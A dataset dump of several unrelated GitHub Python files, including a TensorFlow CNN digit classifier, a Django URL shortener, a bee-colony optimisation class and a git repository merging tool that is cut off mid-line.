value\n","repo_name":"neilpstevenson/DangleTeam","sub_path":"danglePython/interfaces/MonitorSharedIPC.py","file_name":"MonitorSharedIPC.py","file_ext":"py","file_size_in_byte":1125,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"24931257079","text":"# from pympler.tracker import SummaryTracker\n# tracker = SummaryTracker()\nfrom time import sleep\nimport threading\nimport sys\nimport buttons\nimport utils as utils\nimport display as display\nfrom enums import PlaybackMode, PowerState\nimport control\nimport weather as weather\nimport infrared as infrared\nimport rfid as rfid\nimport bluetooth as bluetooth\nimport radio as radio\nimport power as power\nimport speakers as speakers\nimport web_server.backend\n\n# import tracemalloc\n# tracemalloc.start(10)\n\n\nlogger = utils.create_logger('main')\nSTATE = utils.state()\n\n\n# Load stations and music library file\nstations, music_lib = utils.openFiles()\n\n\ndef get_station_object_by_player(player, stations):\n return stations[player.playlist_pos]\n\n\ndef print_tags():\n while True:\n sleep(1)\n\n if STATE['playback_mode'] is PlaybackMode.Radio:\n try:\n player = radio.get_player()\n\n if player.metadata is not None and 'icy-title' in player.metadata: # soemtimes buggy\n station = get_station_object_by_player(player, stations)\n tag = player.metadata['icy-title']\n # print(tag)\n\n if tag in station['skip_strings']:\n tag = station['name']\n\n display.tag_text(tag)\n\n except Exception as e:\n logger.debug(\n \"Couldn't run the icy_title while loop in print tags:\")\n print(e)\n\n if STATE['playback_mode'] is PlaybackMode.CD:\n try:\n player = radio.get_player()\n\n txt = str(player.playlist_pos + 1) + \\\n '/' + str(player.playlist_count)\n\n txts = []\n if 'title' in player.metadata:\n txts.append(player.metadata['title'])\n if 'artist' in player.metadata:\n txts.append(player.metadata['artist'])\n txts = txt + ' ' + ' - '.join(txts)\n\n display.tag_text(txts)\n # logger.debug(\"CD tag is : {}\".format(txts))\n\n except Exception as e:\n pass\n logger.error(\"Couldn't get CD tag: {}\".format(e))\n\n\ntag_thread = threading.Thread(target=print_tags)\ntag_thread.start()\n\n\nweather.start_thread()\nbluetooth.start_thread()\npower.start_thread()\n\n\ndef _set_initial_state_and_setup():\n display.initalize()\n\n if STATE['power_state'] is PowerState.Powered: # power state on\n infrared.start_thread()\n rfid.start_thread()\n radio.leave_standby()\n speakers.on()\n\n\n_set_initial_state_and_setup()\n\n# while True:\n# print(\"now the mem in 100 seks\")\n# sleep(100)\n# # tracker.print_diff()\n# print(\"[ Top 10 ]\")\n# for stat in top_stats[:10]:\n# print(stat)\n# sleep(100)\nsys.exit(0)\n","repo_name":"majuss/wladio","sub_path":"radio/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2849,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"41373960153","text":"import tensorflow as tf\nimport numpy as np\ntf.logging.set_verbosity(tf.logging.INFO)\n\nstep = 4000\n\ndef weight_variable(shape):\n initial = tf.truncated_normal(shape, stddev=0.1)\n return tf.Variable(initial)\n\ndef bias_variable(shape):\n initial = tf.constant(0.1, shape=shape)\n return tf.Variable(initial)\n\ndef conv2d(x, W):\n #strides = [1, stride, stride, 1], step size.\n return tf.nn.conv2d(x, W, strides=[1, 1, 1, 1], padding='SAME')\n\ndef max_pool_2x2(x):\n return tf.nn.max_pool(x, ksize=[1, 2, 2, 1], strides=[1, 2, 2, 1], padding='SAME')\n\ndef generate_label(label):\n length = len(label)\n label_mat = np.zeros((length, 10))\n for i in range(length):\n label_mat[i, int(label[i])] = 1\n return label_mat\n\ndef next_batch(vec, label, num):\n idx = np.arange(0, len(vec))\n np.random.shuffle(idx)\n idx = idx[:num]\n first = True\n for i in idx:\n if first:\n vec_shuffle = vec[i, :]\n label_shuffle = label[i, :]\n first = False\n else:\n vec_shuffle = np.vstack((vec_shuffle, vec[i, :]))\n label_shuffle = np.vstack((label_shuffle, label[i, :]))\n return vec_shuffle, label_shuffle\n\n\nif __name__ == \"__main__\":\n #mnist = input_data.read_data_sets('MNIST_data', one_hot=True)\n divide = 2000\n vec = np.matrix(np.loadtxt(\"digits/digits4000_digits_vec.txt\"))\n label = np.loadtxt(\"digits/digits4000_digits_labels.txt\")\n train_vec = vec[0: divide, :]\n train_label = generate_label(label[0: divide])\n test_vec = vec[divide: 2 * divide, :]\n test_label = generate_label(label[divide: 2 * divide])\n\n x = tf.placeholder(tf.float32, shape=[None, 784])\n y_ = tf.placeholder(tf.float32, shape=[None, 10])\n\n #first layer\n #pre activate\n #compute 32 features for each 5x5 patch\n #[filter_height, filter_width, in_channels, out_channels]\n #output 32 features\n W_conv1 = weight_variable([5, 5, 1, 32])\n b_conv1 = bias_variable([32])\n\n #reshape\n #-1 = x.row * x.column / (28 * 28 * 1)\n #in this case, -1 means the number of digits\n x_image = tf.reshape(x, [-1, 28, 28, 1])\n\n #activate using relu\n h_conv1 = tf.nn.relu(conv2d(x_image, W_conv1) + b_conv1)\n\n #pooling\n #The max_pool_2x2 method will reduce the image size to 14 * 14.\n h_pool1 = max_pool_2x2(h_conv1)\n tf.summary.histogram('first_c_layer', h_pool1)\n\n #second layer\n #output 64 features\n W_conv2 = weight_variable([5, 5, 32, 64])\n b_conv2 = bias_variable([64])\n\n #reduce image size to 7 * 7\n h_conv2 = tf.nn.relu(conv2d(h_pool1, W_conv2) + b_conv2)\n h_pool2 = max_pool_2x2(h_conv2)\n tf.summary.histogram('second_c_layer', h_pool2)\n\n #densely fully connected layer\n W_fc1 = weight_variable([7 * 7 * 64, 1024])\n b_fc1 = bias_variable([1024])\n\n h_pool2_flat = tf.reshape(h_pool2, [-1, 7 * 7 * 64])\n h_fc1 = tf.nn.relu(tf.matmul(h_pool2_flat, W_fc1) + b_fc1)\n tf.summary.histogram('fully_connected_layer', h_fc1)\n\n #dropout\n keep_prob = tf.placeholder(tf.float32)\n h_fc1_drop = tf.nn.dropout(h_fc1, keep_prob)\n\n #output layer\n W_fc2 = weight_variable([1024, 10])\n b_fc2 = bias_variable([10])\n\n y_conv = tf.matmul(h_fc1_drop, W_fc2) + b_fc2\n tf.summary.histogram('output', y_conv)\n\n cross_entropy = tf.reduce_mean(tf.nn.softmax_cross_entropy_with_logits(labels=y_, logits=y_conv))\n train_step = tf.train.AdamOptimizer(1e-4).minimize(cross_entropy)\n correct_prediction = tf.equal(tf.argmax(y_conv, 1), tf.argmax(y_, 1))\n accuracy = tf.reduce_mean(tf.cast(correct_prediction, tf.float32))\n\n tf.summary.scalar('accuracy', accuracy)\n tf.summary.scalar('cross_entropy', cross_entropy)\n\n with tf.Session() as sess:\n merged = tf.summary.merge_all()\n train_writer = tf.summary.FileWriter('/tmp/cnn2/train', sess.graph)\n test_writer = tf.summary.FileWriter('tmp/cnn2/test')\n\n sess.run(tf.global_variables_initializer())\n for i in range(step):\n #randomly choose 50 digits to train.\n batch_vec, batch_label = next_batch(train_vec, train_label, 50)\n if i % 100 == 0:\n #train_accuracy = accuracy.eval(feed_dict={x: train_vec, y_: train_label, keep_prob: 1.0})\n summary, acc = sess.run([merged, accuracy], feed_dict={x: train_vec, y_: train_label, keep_prob: 1.0})\n test_writer.add_summary(summary, i)\n print('step %d, test accuracy %g' % (i, acc))\n #dropout rate is 0.5.\n #train_step.run(feed_dict={x: batch_vec, y_: batch_label, keep_prob: 0.5})\n summary, _ = sess.run([merged, train_step], feed_dict={x: batch_vec, y_: batch_label, keep_prob: 0.5})\n train_writer.add_summary(summary, i)\n\n print('test accuracy %g' % accuracy.eval(feed_dict={x: test_vec, y_: test_label, keep_prob: 1.0}))\n train_writer.close()\n test_writer.close()\n","repo_name":"johncolezhang/TF","sub_path":"cnn2.py","file_name":"cnn2.py","file_ext":"py","file_size_in_byte":4928,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"24891794779","text":"import random\r\n\r\n\r\nnames = [\r\n'Bowen',\r\n'Becker',\r\n'Martin',\r\n'Fitzgerald',\r\n'Krueger',\r\n'Patel',\r\n'Phelps',\r\n'Allen',\r\n'Jones',\r\n'Johnson',\r\n'Armstrong',\r\n'Lauren',\r\n'Cline',\r\n'Smith',\r\n'Wheeler',\r\n'Soto',\r\n'Brooks',\r\n'Turner',\r\n'Lawson',\r\n'Jones',\r\n'Mercer',\r\n'Church',\r\n'Garrison',\r\n'Walker',\r\n'Warren',\r\n'Moore',\r\n'Moore',\r\n'Sanders',\r\n'Shaw',\r\n'Harris',\r\n'Benson',\r\n'Johnson',\r\n'Anderson',\r\n'Horn',\r\n'Little',\r\n'Bailey',\r\n'Burgess',\r\n'Huff',\r\n'Rodriguez',\r\n'Lindsey',\r\n'Guerra',\r\n'Grant',\r\n'Burgess',\r\n'Mccall',\r\n'Forbes',\r\n'Hill',\r\n'Nichols',\r\n'Lewis',\r\n'Robinson',\r\n'Lewis',\r\n'Rivera',\r\n'Edwards',\r\n'White',\r\n'King',\r\n'Chavez',\r\n'Zavala',\r\n'Castaneda',\r\n'Mathis',\r\n'Miles',\r\n'Smith',\r\n'Martinez',\r\n'Robbins',\r\n'Carpenter',\r\n'Wong',\r\n'White',\r\n'Williams',\r\n'Mendez',\r\n'Mullins',\r\n'Anderson',\r\n'Hancock',\r\n'Moore',\r\n'Lynch',\r\n'Heath',\r\n'Barajas',\r\n'Sanders',\r\n'Hart',\r\n'Smith',\r\n'Robinson',\r\n'Jordan',\r\n'Gardner',\r\n'Adams',\r\n'Williams',\r\n'Morgan',\r\n'Powers',\r\n'Flores',\r\n'Perry',\r\n'Patrick',\r\n'Myers',\r\n'Perkins',\r\n'Moon',\r\n'Reed',\r\n'Reese',\r\n'Mejia',\r\n'Donovan',\r\n'Reed',\r\n'Shannon',\r\n'Christensen',\r\n'Ramos',\r\n'Vasquez',\r\n'jennings'\r\n]\r\nsex = ['M', 'F']\r\ndept = ['ACCOUNTING', 'RESEARCH', 'SALES', 'OPERATIONS']\r\n\r\nstring = 'insert into employee values ('\r\nfile = open('data.txt', 'w')\r\nfor i in range(0, 70):\r\n\r\n string = 'insert into employee values ('\r\n empid = random.randint(1000, 2000)\r\n department = random.choice(dept)\r\n name =names[i]\r\n gender = random.choice(sex)\r\n salary = random.randint(10000, 80000)\r\n\r\n \r\n string += str(empid) + \" ,\\'\" + name + \"\\',\" + \" \\'\" + gender + \"\\',\" + str(salary) + \",\" + \"\\'\" + department + \"\\');\\n\"\r\n file.write(string)\r\n print(string)\r\nfile.close(0)\r\n","repo_name":"roshan-shaik-ml/Java-Codes","sub_path":"Interview Problems/DATA.PY","file_name":"DATA.PY","file_ext":"py","file_size_in_byte":1733,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"73153077552","text":"from __future__ import division\nimport re,sys,os\nimport cPickle as pickle\nimport subprocess,time\nimport numpy as np\nfrom optparse import OptionParser\nimport sys\nimport pysam\n\ndef is_intersect(beg, end, pos):\n idx = 0\n if pos == beg+1:\n idx = 1\n return idx\n \ndef prepare_optparser():\n usage =\"\"\"usage: %s [options] \n\n Using -h or --help for more information\n\nExample:\n python %s --ref_Splice /data/Analysis/huboqiang/Database_RNA_v2/mm9/refGene.all_splicing.sort.bed --out_file /date/huboqiang/data_fgp_GSE44183_mouse/01.Tophat/mouse_2cell_1/accepted_hits.spliceRatio.bed /date/huboqiang/data_fgp_GSE44183_mouse/01.Tophat/mouse_2cell_1/accepted_hits.bam \n \n \"\"\" % (sys.argv[0],sys.argv[0])\n\n description = \" Get the Junction-reads Linear-reads ratio in junctions.\"\n\n optparser = OptionParser(version=\"%s v0.1 20150712\" % (sys.argv[0]),description=description,usage=usage,add_help_option=False)\n optparser.add_option(\"-r\", \"--ref_Splice\", default=\"/data/Analysis/huboqiang/Database_RNA_v2/mm9/refGene.all_splicing.sort.bed\", help=\"\\nPhreads uses, [default: %default]\")\n optparser.add_option(\"-o\", \"--out_file\", default=\"/data/Analysis/huboqiang/Database_RNA_v2/mm9/refGene.all_splicing.sort.bed\",help=\"\\nOutput file prefix[default: %default]\")\n optparser.add_option(\"-h\",\"--help\", action=\"help\", help=\"\\nShow this help message and exit.\")\n return optparser\n \ndef main():\n prepare_optparser()\n (options,args) = prepare_optparser().parse_args()\n try:\n raw_bam = args[0]\n ref_Splice = options.ref_Splice\n out_file = options.out_file\n except IndexError:\n prepare_optparser().print_help()\n sys.exit(1)\n \n if not os.path.isfile( \"%s.bai\" % (raw_bam) ):\n shell_info = \"samtools index %s\" % (raw_bam)\n print >>sys.stderr, shell_info\n p = subprocess.Popen(shell_info,shell='True')\n while 1:\n run_cnt = 0\n if p.poll() is None:\n run_cnt += 1\n time.sleep(3)\n if run_cnt == 0:\n break\n \n f_sam = pysam.Samfile( raw_bam,\"rb\" )\n f_refSplice = open( ref_Splice,\"r\" )\n f_out_file = open( out_file ,\"w\" )\n \n total_circ = 0\n pass_PE_circ = 0\n notP_PE_circ = 0\n \n total_read = 0\n pass_PE_read = 0\n notP_PE_read = 0\n \n for line in f_refSplice:\n line = line.strip('\\n')\n f = line.split()\n chrom = f[0]\n beg = int(f[1])\n end = int(f[1])+1\n \n cnt_junc = 0\n cnt_linear = 0\n \n record = f_sam.fetch(reference=chrom, start=beg-1, end=beg+1)\n for rec in record:\n rec_beg = rec.reference_start\n idx = rec_beg - beg\n for pair in rec.cigar:\n ctag = pair[0]\n leng = pair[1]\n pos = beg+ idx\n \n is_linear = 0\n is_junction = 0\n if ctag == 0:\n for i in xrange(leng):\n is_overlap = is_intersect(beg, end, beg+idx)\n if is_overlap:\n is_linear = 1\n idx += 1\n\n elif ctag == 1:\n continue\n\n elif ctag == 2:\n for i in xrange(leng):\n idx += 1\n \n elif ctag == 3:\n for i in xrange(leng):\n is_overlap = is_intersect(beg, end, beg+idx)\n if is_overlap:\n# print rec, i\n if i <2 or (leng-i)<2:\n is_junction = 1\n idx += 1\n \n cnt_junc += is_junction\n cnt_linear += is_linear\n \n \n print >>f_out_file, \"%s\\t%d\\t%d\" % (line, cnt_junc, cnt_linear)\n \n \n f_refSplice.close()\n f_sam.close()\n \n f_out_file.close()\n\nif __name__ == '__main__':\n main()\n","repo_name":"huboqiang/RNA_v2","sub_path":"bin/JuncRatio.py","file_name":"JuncRatio.py","file_ext":"py","file_size_in_byte":4151,"program_lang":"python","lang":"en","doc_type":"code","stars":10,"dataset":"github-code","pt":"38"} +{"seq_id":"12509983088","text":"import random\nimport string\n\nfrom django.contrib import messages\nfrom django.http import Http404\nfrom django.shortcuts import render, redirect\n\nfrom .forms import UrlForm1, UrlForm2\nfrom .models import Urlhacked\n\n\ndef input(request):\n if request.method == 'POST':\n # import pdb;pdb.set_trace()\n # We instantiate an object of the URLsForm class, taking as argument the POST request\n form = UrlForm2(request.POST)\n if form.is_valid():\n original_url = request.POST.get(\"original_url\")\n check = Urlhacked.objects.filter(original_url=original_url).first()\n if check is not None:\n short_url = check.short_url\n # if no short_url found\n else:\n short_url = request.POST.get(\"short_url\")\n form.save()\n short_url = request.META['HTTP_REFERER'] + short_url\n form.data = form.data.copy()\n form.data['short_url'] = short_url\n # marking copy equals True everytime as form is submitted and validating in frontend\n copy = True\n return render(request, \"main.html\", {'form': form, 'copy': copy})\n else:\n messages.add_message(request, messages.INFO, \"URL is invalid please try again\")\n random_string = str(''.join(random.choice(string.ascii_letters + string.digits) for _ in range(8)))\n\n form = UrlForm1(initial={'short_url': random_string})\n return render(request, \"main.html\", {'form': form})\n\n\ndef goto(request, short_url):\n try:\n check = Urlhacked.objects.get(short_url=short_url)\n except Urlhacked.DoesNotExist:\n # we raise a 404 Not Found error\n raise Http404('Url does not match to any record in database')\n # but if we have that short_url, we take the corresponding long_url and redirect user to\n return redirect(to=check.original_url)\n","repo_name":"Niranjan-tiwari/url-shortener","sub_path":"mainproject/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1881,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"38"} +{"seq_id":"12605895031","text":"\"\"\"Employee Bees' class responsible for the exploration phase of the \nArtificial Bee Colony optimization.\n\"\"\"\n\nimport sys\nsys.path.append('...')\n\nimport time\nimport numpy as np\nimport pandas as pd\nfrom utils import Logger\nfrom config import Params\nfrom .artificial_bee import ArtificialBee\n\nclass EmployeeBee(ArtificialBee):\n '''Employee Bees, responsible for explorations and partial exploitation of the\n solution space. Employees search for food sources in the neighborhood, evaluate\n candidates, and compute the probabilities needed for the stochastic onlooker assignment\n \n Attributes:\n center_fs (:class:`~core.abc.food_source.FoodSource`): the central food souorce \\\n which can be greedy-selected by associated onlookers during exploitation. This \\\n food source holds the best fitness in the evaluated vicinity (neighbors)\n food_source (:class:`~core.abc.food_source.FoodSource`): the employee's current \\\n food source (i.e during non-initial iterations when employees are exploiting)\n id_tracker (int): the bee's ID for logging and tracking purposes\n trials (int): the number of trials/evaluations done around a given center \\\n food source. Used to abandon an area once the abandonment limit is reached\n '''\n \n def __init__(self, food_source):\n '''Initializes an employee bee with a center food source\n \n Args:\n food_source (:class:`~core.abc.food_source.FoodSource`): the initial FoodSource to \\\n be assigned as the :code:`center_fs`\n '''\n\n if not hasattr(EmployeeBee, 'id_tracker'):\n EmployeeBee.id_tracker = 0\n\n super(EmployeeBee, self).__init__(food_source, EmployeeBee.id_tracker)\n\n EmployeeBee.id_tracker += 1\n self.trials = 0\n self.center_fs = food_source # center_fs can be greedy-selected by\n # child onlookers (i.e the new\n # optimization center)\n\n\n def search(self, obj_interface):\n '''\n Explore new random position (near previously-sampled position) and assigns it to the \\\n current food source\n \n Args:\n obj_interface (:class:`~core.objective_interface.ObjectiveInterface`): the given \\\n objective interface used to sample/evaluate candidates\n '''\n \n if self.food_source.fitness is None:\n # unevaluated (first iteration after abandonment reset)\n return\n\n # find neighbor near food_source in the bee's memory\n self.food_source = self.get_random_neighbor(obj_interface)\n\n\n def reset(self, new_fs):\n '''Resets EmployeeBee once abandonment limit is reached \n \n Args:\n new_fs (:code:`core.abc.food_source.FoodSource`): a reintialization food source. \\\n Assigned as the :code:`center_fs`\n '''\n\n self.trials = 0\n self.food_source = new_fs\n self.center_fs = new_fs\n\n\n def calculate_fitness(self):\n '''Calculate fitness of an :class:`~core.abc.employee_bee.EmployeeBee`, given by:\n\n .. math:: fit_m (\\\\vec{x}_{m}) = \\\\left\\\\{\\\\begin{matrix}\\\\frac{1}{{1 + f_m (\\\\vec{x}_{m})}} & \\\n {} & {} & {{\\\\rm if}~~{\\\\rm{ }}f_m(\\\\vec{x}_{m}) \\\\ge 0}\\\\\\\\{1 + abs(f_m (\\\\vec{x}_{m}))} & {} & \\\n {} & {{\\\\rm if}~~{\\\\rm{ }}f_m (\\\\vec{x}_{m}) < 0}\\\\end{matrix}\\\\right.\n\n Returns:\n float: adjusted fitness value for the stochastic assignment operator\n '''\n\n fitm = 0\n if self.center_fs.fitness >= 0:\n fitm = 1 / (1 + self.center_fs.fitness)\n else:\n fitm = 1 + np.abs(self.center_fs.fitness)\n \n return fitm\n \n\n def compute_probability(self, sum_fitness):\n '''\n Calculate probability of an EmployeeBee being chosen by\n an OnlookerBee based on Fitess values; given by:\n \n .. math:: p_m = \\\\frac{{fit_m(\\\\vec{x_m}) }}{{\\\\sum\\\\limits_{m = 1}^{SN} {fit_m (\\\\vec{x_m})} }}\n \n Args:\n sum_fitness (float): sum of all fitness values in the population, used for the roulette wheel selector\n \n Returns:\n float: calculated probability that the current employee should be selected by an onlooker\n '''\n\n return self.calculate_fitness() / sum_fitness\n\n \n def evaluate(self, obj_interface, itr):\n '''Evaluates sampled position and increments trial counter \n \n Args:\n obj_interface (:class:`~core.objective_interface.ObjectiveInterface`): the objective interface \\\n used to sample/evaluate candidates\n itr (int): current ABC iteration (for logging and result-saving purposes)\n \n Returns:\n :class:`pandas.Series`: a Pandas Series containing the evaluation's results (represents a \\\n row in the main results CSV file)\n '''\n\n Logger.evaluation_log('EmployeeBee', self.id, self.food_source.position)\n t = time.time()\n\n res = obj_interface.evaluate(self.food_source.position)\n # unpack\n self.food_source.fitness = res['fitness']\n epochs = res['epochs']\n weights_filename = res['filename']\n params = res['params']\n momentum = res['momentum']\n momentum = sum([x[1] for _,x in momentum.items()]) / len(momentum) if len(momentum) else 0\n\n self.food_source.time = time.time() - t\n # ACT early bandonment (ACT enabled and network could not pass epoch 1)\n abandon_early = Params['TERMINATION_THRESHOLD_FACTOR'] > 0.0 and epochs <= 1\n self.trials += 1 if not abandon_early else Params['ABANDONMENT_LIMIT']\n\n if self.center_fs.fitness is None:\n # Check if this evaluation is the first in its area \n # (Iteration 1 after reset; i.e no need to greedy-select)\n self.center_fs = deepcopy(self.food_source)\n else:\n # Greedy select for iterations 2 ... Abandonment Limit\n self.greedy_select(self.food_source, obj_interface.is_minimize)\n\n # save data\n series = pd.Series({\n 'bee_type': type(self).__name__,\n 'bee_id': self.id,\n 'bee_parent': '-',\n 'itr': itr,\n 'candidate': self.food_source.position,\n 'fitness': self.food_source.fitness,\n 'center_fitness': self.center_fs.fitness,\n 'momentum': momentum,\n 'epochs': epochs,\n 'momentum_epochs': 0,\n 'params': params,\n 'weights_filename': weights_filename,\n 'time': self.food_source.time\n })\n \n return series\n\n\n def greedy_select(self, n_food_source, is_minimize):\n '''Update best FoodSource to minimize or maximize fitness (elitism)\n \n Args:\n n_food_source (:class:`~core.abc.food_source.FoodSource`): the new food source to \\\n be greedy-selected\n is_minimize (bool): determines whether to minimize or maximize the greedy-selection\n '''\n\n if ((self.center_fs.fitness < n_food_source.fitness) and not is_minimize) or \\\n ((self.center_fs.fitness > n_food_source.fitness) and is_minimize):\n self.center_fs.position = n_food_source.position\n self.center_fs.fitness = n_food_source.fitness\n \n\n def get_center_fs(self):\n '''Returns the center food source\n \n Returns:\n :class:`~core.abc.food_source.FoodSource`: the employee's center food source\n '''\n\n return self.center_fs\n \n\n def __str__(self):\n '''For logging/debugging purposes \n \n Returns:\n str: the pretty-print contents of the EmployeeBee\n '''\n\n return 'EmployeeBee {} -- FS: {}, trials: {}'.format(self.id, \\\n self.food_source, \\\n self.trials)\n \n","repo_name":"ThunderStruct/HiveNAS","sub_path":"src/core/abc/employee_bee.py","file_name":"employee_bee.py","file_ext":"py","file_size_in_byte":8053,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"38"} +{"seq_id":"15936410866","text":"import argparse\nimport json\nimport os\nimport pty\nimport re\nimport shlex\nimport shutil\nimport subprocess\nimport sys\n\n\"\"\"\nThis file contains a tool to merge several git repositories to\na single repository preserving history.\n\nInspiration:\n- http://stackoverflow.com/a/14470212/2071628\n- http://stackoverflow.com/a/39027521/2071628\n- http://stackoverflow.com/a/4991675/2071628\n\nRequirements:\n- Python 3.5+\n- git 2.0+\n- Linux/Unix/OS X (not Windows!)\n- bash or zsh as the main shell\n\nAuthor: Dmitry Dulepov \n\"\"\"\nclass MergeGitProjects:\n\n def __init__(self):\n \"\"\"\n Initializes the class.\n \"\"\"\n self.__configuration = {}\n self.__created_local_branches = []\n self.__verbose = False\n # Disable merge message editing\n os.putenv('GIT_MERGE_AUTOEDIT', 'no')\n\n\n def execute(self):\n \"\"\"\n Executes the merge\n \"\"\"\n self._parse_arguments()\n\n print(\"Creating a copy of the main repository...\")\n\n self._clone_repository(self.__configuration['mainProject']['repository'],\n self.__configuration['mainProject']['name'], self.__configuration['mainProject']['mainBranch'])\n self._configure_repository()\n self._create_new_main_branch()\n\n for project_name in self.__configuration['projectsToMerge']:\n print(\"Merging project '%s'...\" % project_name)\n project_to_merge = self.__configuration['projectsToMerge'][project_name]\n self._clone_repository(project_to_merge['repository'], project_name, project_to_merge['mainBranch'])\n self._rewrite_history(project_name)\n self._find_non_merged_branches(project_name)\n self._merge_project(project_name)\n\n\n def _clone_repository(self, repository, directory_name, main_branch):\n \"\"\"\n Clones the remote repository in the subdirectory and checks out the given branch\n \n :param repository: repository specification \n :param directory_name: subdirectory name (relative to current) where to clone\n :param main_branch: branch to checkout\n \"\"\"\n\n def directory_was_not_removed():\n print('Error: could not remove %s' % directory_name)\n sys.exit(1)\n\n current_directory = os.getcwd()\n repository_directory = os.path.join(current_directory, directory_name)\n\n if os.path.exists(repository_directory):\n if self.__verbose:\n print('Removing directory %s' % directory_name)\n shutil.rmtree(directory_name, onerror=directory_was_not_removed)\n\n self._execute_shell_command('git clone %s %s -b %s', repository, directory_name, main_branch)\n\n\n def _configure_repository(self):\n \"\"\"\n Configures the main repository according to the configuration.\n \"\"\"\n current_directory = os.getcwd()\n os.chdir(os.path.join(current_directory, self.__configuration['mainProject']['name']))\n\n for key in self.__configuration['gitConfig']:\n self._execute_shell_command('git config %s %s', shlex.quote(key), shlex.quote(self.__configuration['gitConfig'][key]))\n\n os.chdir(current_directory)\n\n\n def _create_new_main_branch(self):\n \"\"\"\n Creates a new branch in the main repository\n \"\"\"\n current_directory = os.getcwd()\n os.chdir(os.path.join(current_directory, self.__configuration['mainProject']['name']))\n self._execute_shell_command('git checkout -b %s', self.__configuration['mainProject']['createBranch'])\n os.chdir(current_directory)\n\n\n def _emergency_shell(self):\n \"\"\"\n Runs emergency shell\n \"\"\"\n print(\"Something went wrong. Bringing the emergency shell to correct errors manually...\\n\")\n print(\"===========================================\\n\\n\")\n\n pty.spawn([os.getenv('SHELL'), '-l'])\n\n print(\"\\n\\n===========================================\\n\\n\")\n print(\"Emergency shell finished. \")\n answer = ''\n while answer != 'y' and answer != 'n':\n answer = input(\"Continue (y/n)? \")\n\n if answer == 'n':\n sys.exit(1)\n\n\n def _execute_shell_command(self, command_format, *args):\n \"\"\"\n Runs the shell with the given command\n\n :param command_format: command to run (like 'git checkout %s') \n :param args: arguments to format the command\n :return: array of lines from stdout\n \"\"\"\n command = str(command_format) % args\n\n if self.__verbose:\n print('Executing: %s' % command)\n\n result = subprocess.run(command, stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=True, executable=os.getenv('SHELL'), universal_newlines=True)\n if result.returncode != 0:\n self._emergency_shell()\n\n return result.stdout.splitlines()\n\n\n def _find_non_merged_branches(self, project_name):\n \"\"\"\n Finds branches in the project that are not merged to the project's main branch.\n :param: project_name: project name to search \n \"\"\"\n project = self.__configuration['projectsToMerge'][project_name]\n\n current_directory = os.getcwd()\n os.chdir(os.path.join(current_directory, project_name))\n output = self._execute_shell_command('git branch -r --no-merged %s', project['mainBranch'])\n\n new_branches = {}\n branch_starting_point_command = \"diff -u <(git rev-list --first-parent %s) <(git rev-list --first-parent %s) | sed -ne 's/^ //p' | head -1\"\n for remote_branch in output:\n remote_branch = remote_branch.strip()\n if project['ignoreBranches'] == '' or not re.match(project['ignoreBranches'], remote_branch) and remote_branch[0:7] == 'origin/':\n local_branch = remote_branch[7:]\n self._execute_shell_command('git checkout -b %s %s', local_branch, remote_branch)\n new_branches[local_branch] = self._execute_shell_command(branch_starting_point_command, local_branch, project['mainBranch'])[0]\n\n self._execute_shell_command('git checkout %s', project['mainBranch'])\n\n os.chdir(current_directory)\n\n self.__configuration['projectsToMerge'][project_name]['copyBranches'] = new_branches\n\n\n def _merge_project(self, project_name):\n \"\"\"\n Merges the project\n\n :param project_name: project name from the configuration \n \"\"\"\n project = self.__configuration['projectsToMerge'][project_name]\n\n current_directory = os.getcwd()\n os.chdir(os.path.join(current_directory, self.__configuration['mainProject']['name']))\n\n self._execute_shell_command('git remote add -f %s ../%s', project_name, project_name)\n self._execute_shell_command('git merge --no-ff %s/%s --allow-unrelated-histories', project_name, project['mainBranch'])\n for branch_name in project['copyBranches']:\n commit_id = project['copyBranches'][branch_name]\n if branch_name not in self.__created_local_branches:\n self._execute_shell_command('git checkout -b %s %s', branch_name, commit_id)\n self.__created_local_branches.append(branch_name)\n else:\n print(\"Warning: merging into existing local branch (%s)!\" % branch_name)\n self._execute_shell_command('git checkout %s', branch_name)\n self._execute_shell_command('git merge --no-ff %s/%s --allow-unrelated-histories', project_name, branch_name)\n\n # Reset to the newly created branch\n self._execute_shell_command('git checkout %s', self.__configuration['mainProject']['createBranch'])\n\n self._execute_shell_command('git remote remove %s', project_name)\n\n os.chdir(current_directory)\n\n shutil.rmtree(os.path.join(current_directory, project_name))\n\n\n def _parse_arguments(self):\n \"\"\"\n Parses arguments\n \"\"\"\n parser = argparse.ArgumentParser(\n add_help=False,\n description='This script merges one or more git projects into a base projects preserving history.',\n epilog='See https://github.com/dmitryd/merge-git-projects for more information.'\n )\n parser.add_argument('configuration_file_name', metavar='configuration-file-name', help='Configuration file', default='')\n parser.add_argument('-v', action='store_true', dest='verbose', help='Show what is done')\n arguments = parser.parse_args()\n\n self.__verbose = arguments.verbose\n\n try:\n configuration_file = open(arguments.configuration_file_name, 'r')\n self.__configuration = json.load(configuration_file)\n configuration_file.close()\n except FileNotFoundError:\n print('Error: configuration file \"%s\" not found' % arguments.configuration_file_name)\n sys.exit(1)\n\n for section in ['gitConfig', 'mainProject', 'projectsToMerge']:\n if section not in self.__configuration:\n print('Error: \"%s\" section is missing in the configuration file' % section)\n sys.exit(1)\n\n for option in ['name', 'repository', 'mainBranch', 'createBranch']:\n if option not in self.__configuration['mainProject']:\n print('Error: \"%s\" option is missing in the \"mainProject\" section in the configuration file' % option)\n sys.exit(1)\n\n for projectName in self.__configuration['projectsToMerge']:\n project = self.__configuration['projectsToMerge'][projectName]\n for option in ['repository', 'path', 'mainBranch', 'ignoreBranches']:\n if option not in project:\n print('Error: \"%s\" option is missing in the \"%s\" project in the configuration file' %\n (option, projectName))\n sys.exit(1)\n\n\n def _rewrite_history(self, project_name):\n \"\"\"\n Retwrites history for the project. This moves the project into its right\n place inside the main project.\n\n :param: project_name: project name to process\n \"\"\"\n project = self.__configuration['projectsToMerge'][project_name]\n current_directory = os.getcwd()\n os.chdir(os.path.join(current_directory, project_name))\n\n command = \"git 